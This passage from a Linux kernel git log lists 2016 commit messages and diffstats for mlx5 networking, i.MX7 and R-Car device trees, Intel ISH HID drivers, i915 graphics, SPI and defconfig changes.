davinci_all_defconfig: Enable AEMIF as a module This enables the use of the memory/ti-aemif.c driver. ATM most davinci boards use the mach-davinci aemif code which gets in the way of genericity and proper DT boot. Signed-off-by: Karl Beldan Signed-off-by: Sekhar Nori arch/arm/configs/davinci_all_defconfig | 2 ++ 1 file changed, 2 insertions(+) commit 575ddf5888eaf8f271cb3df7b0806cb2db2c333a Author: Ilya Lesokhin Date: Tue Feb 23 13:25:22 2016 +0200 net/mlx5: Introduce alloc_encap and dealloc_encap commands Implement low-level commands to support vxlan encapsulation. Signed-off-by: Ilya Lesokhin Signed-off-by: Hadar Hen Zion Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/cmd.c | 4 ++ drivers/net/ethernet/mellanox/mlx5/core/fs_cmd.c | 48 ++++++++++++++++++++++++ drivers/net/ethernet/mellanox/mlx5/core/fs_cmd.h | 7 ++++ 3 files changed, 59 insertions(+) commit 7adbde2035c2e5baf2f6a90eba11813db4813a67 Author: Hadar Hen Zion Date: Wed Aug 3 15:08:33 2016 +0300 net/mlx5: Update mlx5_ifc.h for vxlan encap/decap Add the required definitions related to vxlan encap/decap. Signed-off-by: Hadar Hen Zion Signed-off-by: Ilya Lesokhin Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky include/linux/mlx5/mlx5_ifc.h | 105 ++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 101 insertions(+), 4 deletions(-) commit 9def7121bed3be8a9d126c900ca7067647bc4789 Author: Hadar Hen Zion Date: Wed Aug 3 17:27:30 2016 +0300 net/mlx5: Enable setting minimum inline header mode for VFs Implement the low-level part of the PF side in setting minimum inline header mode for VFs. Signed-off-by: Hadar Hen Zion Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/vport.c | 20 ++++++++++++++++++++ include/linux/mlx5/mlx5_ifc.h | 2 +- include/linux/mlx5/vport.h | 2 ++ 3 files changed, 23 insertions(+), 1 deletion(-) commit 2974ab6e8bd8ad06d30ed471b91f8ff7aa6debd8 Author: Saeed Mahameed Date: Thu Jul 28 16:43:17 2016 +0300 net/mlx5: Improve driver log messages Remove duplicate pci dev name printing in mlx5_core_err. Use mlx5_core_{warn,info,err} where possible to have the pci info in the driver log messages. Signed-off-by: Saeed Mahameed Signed-off-by: Parvi Kaustubhi Signed-off-by: Leon Romanovsky drivers/net/ethernet/mellanox/mlx5/core/en_rep.c | 4 ++-- drivers/net/ethernet/mellanox/mlx5/core/eswitch.c | 26 +++++++++++++--------- drivers/net/ethernet/mellanox/mlx5/core/fs_core.c | 18 ++++++++------- drivers/net/ethernet/mellanox/mlx5/core/main.c | 11 ++++----- .../net/ethernet/mellanox/mlx5/core/mlx5_core.h | 4 ++-- drivers/net/ethernet/mellanox/mlx5/core/sriov.c | 7 +++--- 6 files changed, 39 insertions(+), 31 deletions(-) commit c4f287c4a6ac489c18afc4acc4353141a8c53070 Author: Saeed Mahameed Date: Tue Jul 19 20:17:12 2016 +0300 net/mlx5: Unify and improve command interface Now as all commands use mlx5 ifc interface, instead of doing two calls for executing a command we embed command status checking into mlx5_cmd_exec to simplify the interface. Also we do here some cleanup for redundant software structures (inbox/outbox) and functions and improved command failure output. Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/infiniband/hw/mlx5/main.c | 10 +- drivers/infiniband/hw/mlx5/qp.c | 5 +- drivers/net/ethernet/mellanox/mlx5/core/cmd.c | 251 +++++++++++---------- drivers/net/ethernet/mellanox/mlx5/core/cq.c | 16 +- .../net/ethernet/mellanox/mlx5/core/en_ethtool.c | 3 +- drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 10 +- drivers/net/ethernet/mellanox/mlx5/core/eq.c | 12 +- drivers/net/ethernet/mellanox/mlx5/core/eswitch.c | 72 ++---- drivers/net/ethernet/mellanox/mlx5/core/fs_cmd.c | 130 +++-------- drivers/net/ethernet/mellanox/mlx5/core/fw.c | 15 +- drivers/net/ethernet/mellanox/mlx5/core/mad.c | 1 - drivers/net/ethernet/mellanox/mlx5/core/main.c | 80 ++----- drivers/net/ethernet/mellanox/mlx5/core/mcg.c | 10 +- .../net/ethernet/mellanox/mlx5/core/mlx5_core.h | 13 -- drivers/net/ethernet/mellanox/mlx5/core/mr.c | 28 +-- .../net/ethernet/mellanox/mlx5/core/pagealloc.c | 11 +- drivers/net/ethernet/mellanox/mlx5/core/pd.c | 11 +- drivers/net/ethernet/mellanox/mlx5/core/port.c | 99 ++------ drivers/net/ethernet/mellanox/mlx5/core/qp.c | 26 +-- drivers/net/ethernet/mellanox/mlx5/core/rl.c | 11 +- drivers/net/ethernet/mellanox/mlx5/core/srq.c | 49 ++-- drivers/net/ethernet/mellanox/mlx5/core/transobj.c | 183 +++++---------- drivers/net/ethernet/mellanox/mlx5/core/uar.c | 11 +- drivers/net/ethernet/mellanox/mlx5/core/vport.c | 74 ++---- drivers/net/ethernet/mellanox/mlx5/core/vxlan.c | 29 +-- include/linux/mlx5/device.h | 115 ---------- include/linux/mlx5/driver.h | 7 +- 27 files changed, 385 insertions(+), 897 deletions(-) commit 1a412fb1caa2c1b77719ccb5ed8b0c3c2bc65da7 Author: Saeed Mahameed Date: Tue Jul 19 18:03:21 2016 +0300 {net,IB}/mlx5: Modify QP commands via mlx5 ifc Prior to this patch we assumed that modify QP commands have the same layout. In ConnectX-4 for each QP transition there is a specific command and their layout can vary. e.g: 2err/2rst commands don't have QP context in their layout and before this patch we posted the QP context in those commands. Fortunately the FW only checks the suffix of the commands and executes them, while ignoring all invalid data sent after the valid command layout. This patch removes mlx5_modify_qp_mbox_in and changes mlx5_core_qp_modify to receive the required transition and QP context with opt_param_mask if needed. This way the caller is not required to provide the command inbox layout and it will be generated automatically. mlx5_core_qp_modify will generate the command inbox/outbox layouts according to the requested transition and will fill the requested parameters. Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/infiniband/hw/mlx5/qp.c | 22 ++--- drivers/net/ethernet/mellanox/mlx5/core/qp.c | 124 +++++++++++++++++++++++++-- include/linux/mlx5/qp.h | 20 +---- 3 files changed, 124 insertions(+), 42 deletions(-) commit 09a7d9eca1a6cf5eb4f9abfdf8914db9dbd96f08 Author: Saeed Mahameed Date: Tue Jul 19 01:17:59 2016 +0300 {net,IB}/mlx5: QP/XRCD commands via mlx5 ifc Remove old representation of manually created QP/XRCD commands layout amd use mlx5_ifc canonical structures and defines. Signed-off-by: Saeed Mahameed Signed-off-by: Leon Romanovsky drivers/infiniband/hw/mlx5/qp.c | 154 +++++++++++--------- drivers/net/ethernet/mellanox/mlx5/core/debugfs.c | 14 +- drivers/net/ethernet/mellanox/mlx5/core/qp.c | 167 ++++++++-------------- include/linux/mlx5/mlx5_ifc.h | 5 +- include/linux/mlx5/qp.h | 108 +------------- 5 files changed, 165 insertions(+), 283 deletions(-) commit a7311c0c9a338d18f4a6d21dfad34c66053c9225 Author: Fabio Estevam Date: Mon Aug 15 13:47:34 2016 -0300 ARM: dts: imx7s-warp: Use WDOG_B pin reset imx7s-warpd has WDOG1_B pin connected to the PMIC. Pass the 'fsl,ext-reset-output' property so that the watchdog can trigger a system POR reset via the PMIC. Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7s-warp.dts | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 44e645faffa7428502712cc6062a92a07ae09679 Author: Fabio Estevam Date: Mon Aug 15 13:47:33 2016 -0300 ARM: dts: imx7s-warp: Add Wifi support Warp7 has a BCM43430 Wifi chip connected to the USDHC1 port. Add support for it. Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7s-warp.dts | 41 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) commit 9a3bb943c26d6e16effa7cb828f35ed660538fee Author: Fabio Estevam Date: Mon Aug 15 13:47:32 2016 -0300 ARM: dts: imx7s-warp: Add audio support warp7 has a sgtl5000 audio codec. Add support for it. Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7s-warp.dts | 51 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) commit 1c4e2a11bac4b5b04cd6588840341af28e137588 Author: Stefan Agner Date: Thu Aug 11 17:11:07 2016 -0700 ARM: dts: imx7d: add clock-frequency to CPU nodes Add clock-frequency property to CPU nodes. Avoids warnings like "/cpus/cpu@0 missing clock-frequency property". Signed-off-by: Stefan Agner Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7d.dtsi | 2 ++ arch/arm/boot/dts/imx7s.dtsi | 1 + 2 files changed, 3 insertions(+) commit f5bd51b60f4994023b5edd9241d2c0a839598553 Author: Stefan Agner Date: Thu Aug 11 17:11:06 2016 -0700 ARM: dts: imx7d: move CPU operating points to imx7d.dtsi Only i.MX 7Dual SoC supports CPU frequencies of up to 1GHz. The i.MX 7Solo can run with up to 800MHz and does so without making use of DVFS usually. While the device tree clearly specified a too fast operating point for i.MX 7Solo, the kernel did not used it in practise so far because the CPUfreq driver does not get loaded on i.MX 7Solo devices (since the fsl,imx7s compatible string is not in the list of devices making use of the cpufreq-dt driver...). Signed-off-by: Stefan Agner Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7d.dtsi | 8 ++++++++ arch/arm/boot/dts/imx7s.dtsi | 5 ----- 2 files changed, 8 insertions(+), 5 deletions(-) commit e7d0dbf9e29852064aa03d7b44f3f134808cdae4 Author: Joshua Clayton Date: Mon Aug 15 22:29:45 2016 +0800 ARM: dts: imx6q-evi: Use GPIO_6 for fec irq Apply hardware workaround for ethernet problem See nxp erratum err006687 Signed-off-by: Joshua Clayton Signed-off-by: Shawn Guo arch/arm/boot/dts/imx6q-evi.dts | 4 ++++ 1 file changed, 4 insertions(+) commit 7310f07531f786a8d776f637b4504caa52c57460 Author: Fabio Estevam Date: Wed Aug 10 13:00:27 2016 -0300 ARM: dts: imx7s: Add SAI nodes Add the three SAI ports nodes. Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7s.dtsi | 45 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) commit 2f5ac9ba208c1049d822a2f98d8193b4e322f3ca Author: Fabio Estevam Date: Wed Aug 10 13:00:28 2016 -0300 ARM: dts: imx7s: Add SDMA node Add a SDMA entry in the dtsi file. Signed-off-by: Fabio Estevam Signed-off-by: Shawn Guo arch/arm/boot/dts/imx7s.dtsi | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 5f62eab04ab7d78afd8acf00c48a7a1539794e1f Author: Johan Hovold Date: Wed Aug 17 15:43:32 2016 +0200 greybus: es2: fix memory leak in probe error path In case a bulk-in transfer-buffer allocation failed during probe, we'd currently leak the corresponding URB. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit b490a8537df60d449199e162417da74ee9262515 Author: Yuta Kobayashi Date: Fri Aug 12 07:49:17 2016 +0000 HID: microsoft: Add Surface 4 type cover pro 4 (JP) Adding support for the Microsoft Surface 4 Type Cover Pro (JP). Signed-off-by: Yuta Kobayashi Signed-off-by: Jiri Kosina drivers/hid/hid-core.c | 2 ++ drivers/hid/hid-ids.h | 1 + drivers/hid/hid-microsoft.c | 2 ++ drivers/hid/usbhid/hid-quirks.c | 1 + 4 files changed, 6 insertions(+) commit ceae5317f608aaabf3e03377e061e44c7345cc6a Author: Chris Wilson Date: Wed Aug 17 13:42:42 2016 +0100 drm/i915: Add missing kerneldoc for guc_client_alloc:engines Brief parameter text to describe @engines. Signed-off-by: Chris Wilson Cc: Dave Gordon Cc: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1471437762-22936-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Tvrtko Ursulin drivers/gpu/drm/i915/i915_guc_submission.c | 1 + 1 file changed, 1 insertion(+) commit dbaf788e710d1f65340c5f46a706fee5b634493c Author: Chris Wilson Date: Wed Aug 17 11:33:33 2016 +0100 drm/i915: Remember to set vma->pages for the preallocated stolen object In commit 247177ddd517 ("drm/i915: Always set the vma->pages"), as it title implies, we always set vma->pages for bound objects. Even before that, we would set vma->ggtt_view.pages, for globally bound objects. This was forgotten for the fixup inside the preallocated stolen objects, which has to recreate a global GTT binding outside of the usual VMA insertion path Fixes: 247177ddd517 ("drm/i915: Always set the vma->pages") Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1471430013-3449-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen drivers/gpu/drm/i915/i915_gem_stolen.c | 1 + 1 file changed, 1 insertion(+) commit 1c4593edbd4a893691fa826c36e71946a5d54c1d Author: Krzysztof Kozlowski Date: Wed Aug 17 14:07:43 2016 +0200 power: supply: Change Krzysztof Kozlowski's email to kernel.org Change my email address to kernel.org instead of Samsung one for the purpose of any future contact. The copyrights remain untouched and are attributed to Samsung. Signed-off-by: Krzysztof Kozlowski Signed-off-by: Sebastian Reichel Documentation/ABI/testing/sysfs-class-power | 8 ++++---- drivers/power/supply/max14577_charger.c | 4 ++-- drivers/power/supply/max77693_charger.c | 4 ++-- 3 files changed, 8 insertions(+), 8 deletions(-) commit 9cd2e854d61ccfa51686f3ed7b0c917708fc641f Author: Daniel Vetter Date: Wed Aug 17 13:59:40 2016 +0200 Revert "drm/hisilicon: Don't set drm_device->platformdev" This reverts commit d25bcfb8c2e18b9b36f037f38be4d4792ebf8d57. I somehow missed that it only compiles on arm64 and broke the driver rather badly. Signed-off-by: Daniel Vetter drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c | 10 +++++----- drivers/gpu/drm/hisilicon/kirin/kirin_drm_drv.c | 6 ++++-- drivers/gpu/drm/hisilicon/kirin/kirin_drm_drv.h | 4 ++-- 3 files changed, 11 insertions(+), 9 deletions(-) commit 24808e96792a860f3e83e2eb69c5190261716924 Author: Chris Wilson Date: Wed Aug 17 12:09:06 2016 +0100 drm/i915: Mark i915_hpd_poll_init_work as static Local function with forgotten static declaration. Fixes: 19625e85c6ec ("drm/i915: Enable polling when we don't have hpd") Signed-off-by: Chris Wilson Cc: Ville Syrjälä Cc: Daniel Vetter Cc: Lyude Link: http://patchwork.freedesktop.org/patch/msgid/1471432146-5196-2-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Tvrtko Ursulin drivers/gpu/drm/i915/intel_hotplug.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 21aea5cc06667b7e34cf7bd3fc17a1fb2937baa9 Author: Chris Wilson Date: Wed Aug 17 12:09:05 2016 +0100 drm/i915: Mark the static key for movntqda as static Silence sparse who warns that the global variable is not declared static. Fixes: 0b1de5d58e19 ("drm/i915: Use SSE4.1 movntdqa to ...") Signed-off-by: Chris Wilson Cc: Akash Goel Cc: Damien Lespiau Cc: Mika Kuoppala Cc: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1471432146-5196-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Tvrtko Ursulin drivers/gpu/drm/i915/i915_memcpy.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5720ec0a6d2605930934f3f154b048e8be3d8a40 Author: Vignesh R Date: Wed Aug 17 15:22:37 2016 +0530 spi: spi-ti-qspi: Add DMA support for QSPI mmap read Use mem-to-mem DMA to read from flash when reading in mmap mode. This gives improved read performance and reduces CPU load. With this patch the raw-read throughput is ~16MB/s on DRA74 EVM. And CPU load is <20%. UBIFS read throughput ~13 MB/s. Signed-off-by: Vignesh R Signed-off-by: Mark Brown drivers/spi/spi-ti-qspi.c | 139 ++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 122 insertions(+), 17 deletions(-) commit b1b8153cf0aeeb7ae6d4f012b8beb2dcfc92c68a Author: Vignesh R Date: Wed Aug 17 15:22:36 2016 +0530 spi: Add support to handle kmap'd buffers in spi_map_buf() JFFS2 FS might sometime provide kmap'd buffers as destination buffers to read data from flash. Update spi_map_buf() function to generate sg_list for such buffers, so that SPI controllers drivers can use DMA to read data into such buffers. Signed-off-by: Vignesh R Signed-off-by: Mark Brown drivers/spi/spi.c | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) commit 6ea9c7ddd96d88e6cc391e63b5ed2fcfe41d5725 Author: Fabio Estevam Date: Tue Aug 16 21:00:54 2016 -0300 ASoC: fsl_sai: Use 'np' variable The 'np' variable is already assigned to 'pdev->dev.of_node', so use it to improve readability. No functional change. Signed-off-by: Fabio Estevam Signed-off-by: Mark Brown sound/soc/fsl/fsl_sai.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 318f89ca205fc2df61954e3b415d93a06691817e Author: Tvrtko Ursulin Date: Tue Aug 16 17:04:21 2016 +0100 drm/i915: Initialize legacy semaphores from engine hw id indexed array Build the legacy semaphore initialisation array using the engine hardware ids instead of driver internal ones. This makes the static array size dependent only on the number of gen6 semaphore engines. Also makes the per-engine semaphore wait and signal tables hardware id indexed saving some more space. v2: Refactor I915_GEN6_NUM_ENGINES to GEN6_SEMAPHORE_LAST. (Chris Wilson) v3: More polish. (Chris Wilson) Signed-off-by: Tvrtko Ursulin Reviewed-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1471363461-9973-1-git-send-email-tvrtko.ursulin@linux.intel.com drivers/gpu/drm/i915/intel_ringbuffer.c | 55 +++++++++++++++++---------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 7 +++-- 2 files changed, 34 insertions(+), 28 deletions(-) commit 5ec2cf7e34be622968e865fa99f6b9bd4494020d Author: Tvrtko Ursulin Date: Tue Aug 16 17:04:20 2016 +0100 drm/i915: Add enum for hardware engine identifiers Put the engine hardware id in the common header so they are not only associated with the GuC since they are needed for the legacy semaphores implementation. Signed-off-by: Tvrtko Ursulin Reviewed-by: Chris Wilson drivers/gpu/drm/i915/intel_engine_cs.c | 14 +++++++------- drivers/gpu/drm/i915/intel_ringbuffer.h | 10 ++++++++-- 2 files changed, 15 insertions(+), 9 deletions(-) commit 1d3bc1d6c9c4658d554bcf89a71b35a6783a5b4e Author: Frank Wang Date: Fri Jul 22 15:00:46 2016 +0800 arm64: dts: rockchip: configure usb2-phy support for rk3399-evb Add vcc5v0_host regulator for usb2-phy and enable host-port support. Signed-off-by: Frank Wang Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399-evb.dts | 44 +++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) commit 103e9f8537d9a95b842d6a841ee617dd9e68d187 Author: Frank Wang Date: Fri Jul 22 15:00:45 2016 +0800 arm64: dts: rockchip: add usb2-phy support for rk3399 Add usb2-phy nodes and specify phys phandle for ehci. Signed-off-by: Frank Wang Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 38 ++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) commit 8f98307d023810669391555e370a8c2a8e2af9b6 Author: Pierre-Louis Bossart Date: Tue Aug 16 18:28:22 2016 -0500 ASoC: Intel: bytcr_rt5640: quirk for Acer Aspire SWS-012 Baytrail-CR platform needing SSP0-AIF1 routing Also fix SSP0 while we are at it. Suggested-by: Andrei Lavreniyuk Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/boards/bytcr_rt5640.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit cac17731df11e076850c46f50a17266181a10b7c Author: Pierre-Louis Bossart Date: Tue Aug 16 18:28:21 2016 -0500 ASoC: Intel: atom: fix 0-day warnings spurious __initconst copy/pasted from other drivers Signed-off-by: Pierre-Louis Bossart Signed-off-by: Mark Brown sound/soc/intel/atom/sst/sst_acpi.c | 2 +- sound/soc/intel/boards/bytcr_rt5640.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 8fb861fa0718c414f42588eb16eb81f1893c3522 Author: Srinivas Pandruvada Date: Sun Aug 7 02:25:39 2016 -0700 MAINTAINERS: Add Intel ISH Add maintainer entry for Intel Integrated Sensor Hub Signed-off-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina MAINTAINERS | 7 +++++++ 1 file changed, 7 insertions(+) commit 930fafd9afb435129b49cc91e5a1267d6ddd2b66 Author: Srinivas Pandruvada Date: Sun Aug 7 02:25:38 2016 -0700 HID: hid-sensor-hub: Add ISH quirk Need enum quirk to change the base of enums to 1 for power and report descriptors. Signed-off-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/hid-sensor-hub.c | 4 ++++ 1 file changed, 4 insertions(+) commit 0b28cb4bcb17dcb5fe0763fc3e1a94398b8f6cf6 Author: Srinivas Pandruvada Date: Sun Aug 7 02:25:36 2016 -0700 HID: intel-ish-hid: ISH HID client driver This driver is responsible for implementing ISH HID client, which gets HID description and report. Once it has completely gets report descriptors, it registers as a HID LL drivers. This implements necessary callbacks so that it can be used by HID sensor hub driver. Original-author: Daniel Drubin Reviewed-and-tested-by: Ooi, Joyce Tested-by: Grant Likely Tested-by: Rann Bar-On Tested-by: Atri Bhattacharya Signed-off-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/intel-ish-hid/Makefile | 4 + drivers/hid/intel-ish-hid/ishtp-hid-client.c | 978 +++++++++++++++++++++++++++ drivers/hid/intel-ish-hid/ishtp-hid.c | 246 +++++++ drivers/hid/intel-ish-hid/ishtp-hid.h | 182 +++++ include/uapi/linux/input.h | 1 + 5 files changed, 1411 insertions(+) commit ae02e5d40d5f829c589412c6253f925e35cf7a22 Author: Srinivas Pandruvada Date: Sun Aug 7 02:25:35 2016 -0700 HID: intel-ish-hid: ipc layer This layer is responsible for - Enumerating over PCI bus - Inform FW about host readiness - Provide HW interface to transport layer for control and messages - Interrupt handling and routing Original-author: Daniel Drubin Reviewed-and-tested-by: Ooi, Joyce Tested-by: Grant Likely Tested-by: Rann Bar-On Tested-by: Atri Bhattacharya Signed-off-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/intel-ish-hid/Makefile | 6 + drivers/hid/intel-ish-hid/ipc/hw-ish-regs.h | 220 +++++++ drivers/hid/intel-ish-hid/ipc/hw-ish.h | 71 +++ drivers/hid/intel-ish-hid/ipc/ipc.c | 882 ++++++++++++++++++++++++++++ drivers/hid/intel-ish-hid/ipc/pci-ish.c | 333 +++++++++++ drivers/hid/intel-ish-hid/ipc/utils.h | 64 ++ include/trace/events/intel_ish.h | 30 + 7 files changed, 1606 insertions(+) commit 3703f53b99e4a7c373ce3568dd3f91f175ebb626 Author: Srinivas Pandruvada Date: Sun Aug 7 02:25:34 2016 -0700 HID: intel_ish-hid: ISH Transport layer The ISH transport layer (ishtp) is a bi-directional protocol implemented on the top of PCI based inter processor communication layer. This layer offers: - Connection management - Flow control with the firmware - Multiple client sessions - Client message transfer - Client message reception - DMA for RX and TX for fast data transfer Refer to Documentation/hid/intel-ish-hid.txt for overview of the functionality implemented in this layer. Original-author: Daniel Drubin Reviewed-and-tested-by: Ooi, Joyce Tested-by: Grant Likely Tested-by: Rann Bar-On Tested-by: Atri Bhattacharya Signed-off-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina drivers/hid/Kconfig | 2 + drivers/hid/Makefile | 2 + drivers/hid/intel-ish-hid/Kconfig | 17 + drivers/hid/intel-ish-hid/Makefile | 12 + drivers/hid/intel-ish-hid/ishtp/bus.c | 791 ++++++++++++++++ drivers/hid/intel-ish-hid/ishtp/bus.h | 114 +++ drivers/hid/intel-ish-hid/ishtp/client-buffers.c | 258 ++++++ drivers/hid/intel-ish-hid/ishtp/client.c | 1054 ++++++++++++++++++++++ drivers/hid/intel-ish-hid/ishtp/client.h | 182 ++++ drivers/hid/intel-ish-hid/ishtp/dma-if.c | 175 ++++ drivers/hid/intel-ish-hid/ishtp/hbm.c | 1032 +++++++++++++++++++++ drivers/hid/intel-ish-hid/ishtp/hbm.h | 321 +++++++ drivers/hid/intel-ish-hid/ishtp/init.c | 115 +++ drivers/hid/intel-ish-hid/ishtp/ishtp-dev.h | 277 ++++++ 14 files changed, 4352 insertions(+) commit 17e2adf2a7d755e17fa75495d29cb98d553d4a66 Author: Srinivas Pandruvada Date: Sun Aug 7 02:25:33 2016 -0700 Documentation: HID: Intel ISH HID document Document explaining ISH HID operation and implementation. Signed-off-by: Srinivas Pandruvada Signed-off-by: Jiri Kosina Documentation/hid/intel-ish-hid.txt | 454 ++++++++++++++++++++++++++++++++++++ 1 file changed, 454 insertions(+) commit 17d9af9e069f2982f578c65e987df309d1736eb5 Author: Geert Uytterhoeven Date: Tue Aug 16 16:56:32 2016 +0200 ARM: dts: r8a7791: Remove obsolete vsp1 properties As of commit 5aa2eb3c86d4fd16 ("[media] v4l: vsp1: Configure device based on IP version"), the DT properties to identify the exact VSP device instance features are no longer used. Hence remove them. Signed-off-by: Geert Uytterhoeven Reviewed-by: Laurent Pinchart Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7791.dtsi | 18 ------------------ 1 file changed, 18 deletions(-) commit 7b2d7a214708e06d89fd8019aa6f3acf744a3446 Author: Geert Uytterhoeven Date: Tue Aug 16 16:56:31 2016 +0200 ARM: dts: r8a7790: Remove obsolete vsp1 properties As of commit 5aa2eb3c86d4fd16 ("[media] v4l: vsp1: Configure device based on IP version"), the DT properties to identify the exact VSP device instance features are no longer used. Hence remove them. Signed-off-by: Geert Uytterhoeven Reviewed-by: Laurent Pinchart Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7790.dtsi | 23 ----------------------- 1 file changed, 23 deletions(-) commit e6ed3f533d54a92f8d67d301f9209ca64d593e03 Author: Simon Horman Date: Tue Aug 9 14:19:04 2016 +0200 ARM: dts: alt: add MMCIF support Define the Alt board dependent part of the MMCIF device node. Like the Silk the board has eMMC chip along with the necessary voltage regulator (note that the Vcc/Vccq regulator is dummy -- it's required by the MMCIF driver but doesn't actually exist on the board). Based on work for the Silk board by Vladimir Barinov and Sergei Shtylyov. Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7794-alt.dts | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit 2b41091b896bb99ec1da1ed30113603fc91b84d6 Author: Simon Horman Date: Tue Aug 9 14:19:03 2016 +0200 ARM: dts: alt: add SDHI0 and 1 support Define the Alt board dependent part of the SDHI0 and 1 device nodes along with the necessary voltage regulators. Based on work by the original patch by Vladimir Barinov and Sergei Shtylyov for the Silk board. Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7794-alt.dts | 81 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 81 insertions(+) commit aedc53a9590b82860cde67e5460a171dadf362bb Author: Geert Uytterhoeven Date: Tue Aug 16 15:42:20 2016 +0200 ARM: debug-ll: Add support for r8a7992 Enable low-level debugging support for R-Car V2H (r8a7792). V2H uses SCIF0 for the debug console, like most other R-Car Gen2 SoCs. Signed-off-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/Kconfig.debug | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 94f703a5b3899178895c88c2a56f29781c655480 Author: Krzysztof Kozlowski Date: Fri Aug 12 14:34:03 2016 +0200 ARM: multi_v7_defconfig: Enable SECCOMP Systemd already supports seccomp. It seems some distros are building systemd with seccomp, e.g. Arch on ARM, thus leading to boot errors: systemd-logind.service: Failed at step SECCOMP spawning /usr/lib/systemd/systemd-logind: Invalid argument Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas arch/arm/configs/multi_v7_defconfig | 1 + 1 file changed, 1 insertion(+) commit 05a39f0e876395ef6ea3b307361da0a8575520e2 Author: Krzysztof Kozlowski Date: Fri Aug 12 14:34:02 2016 +0200 ARM: exynos_defconfig: Enable SECCOMP Systemd already supports seccomp. It seems some distros are building systemd with seccomp, e.g. Arch on ARM, thus leading to boot errors: systemd-logind.service: Failed at step SECCOMP spawning /usr/lib/systemd/systemd-logind: Invalid argument Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas arch/arm/configs/exynos_defconfig | 1 + 1 file changed, 1 insertion(+) commit bb249cdc3e55b099c05cd350772368ae85592706 Author: Sergei Shtylyov Date: Tue Aug 16 00:52:58 2016 +0300 ARM: dts: r8a7794: add VSP1 support Describe two instances (VSPS and VSPD0) of the VSP1 in the R8A7794 device tree. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7794.dtsi | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 68acb6afb6f56d8ab92352993425b5472cf79a78 Author: Randy Dunlap Date: Tue Aug 16 16:31:00 2016 -0700 dma-buf: fix kernel-doc warning and typos Fix dma-buf kernel-doc warning and 2 minor typos in fence_array_create(). Fixes this warning: ..//drivers/dma-buf/fence-array.c:124: warning: No description found for parameter 'signal_on_any' Signed-off-by: Randy Dunlap Cc: Sumit Semwal Cc: linux-media@vger.kernel.org Cc: dri-devel@lists.freedesktop.org Cc: linaro-mm-sig@lists.linaro.org Signed-off-by: Sumit Semwal Link: http://patchwork.freedesktop.org/patch/msgid/224865a5-947d-9a28-c60a-18fa86bc9329@infradead.org drivers/dma-buf/fence-array.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit bd2058dc1aa88ac5690184f85a1e5051b12cd573 Author: Kamlakant Patel Date: Tue Aug 9 19:35:21 2016 +0530 ACPI / APD: Add device HID for Vulcan SPI controller Add device HID for SPI controller on Broadcom Vulcan ARM64. The default frequency for SPI on Vulcan 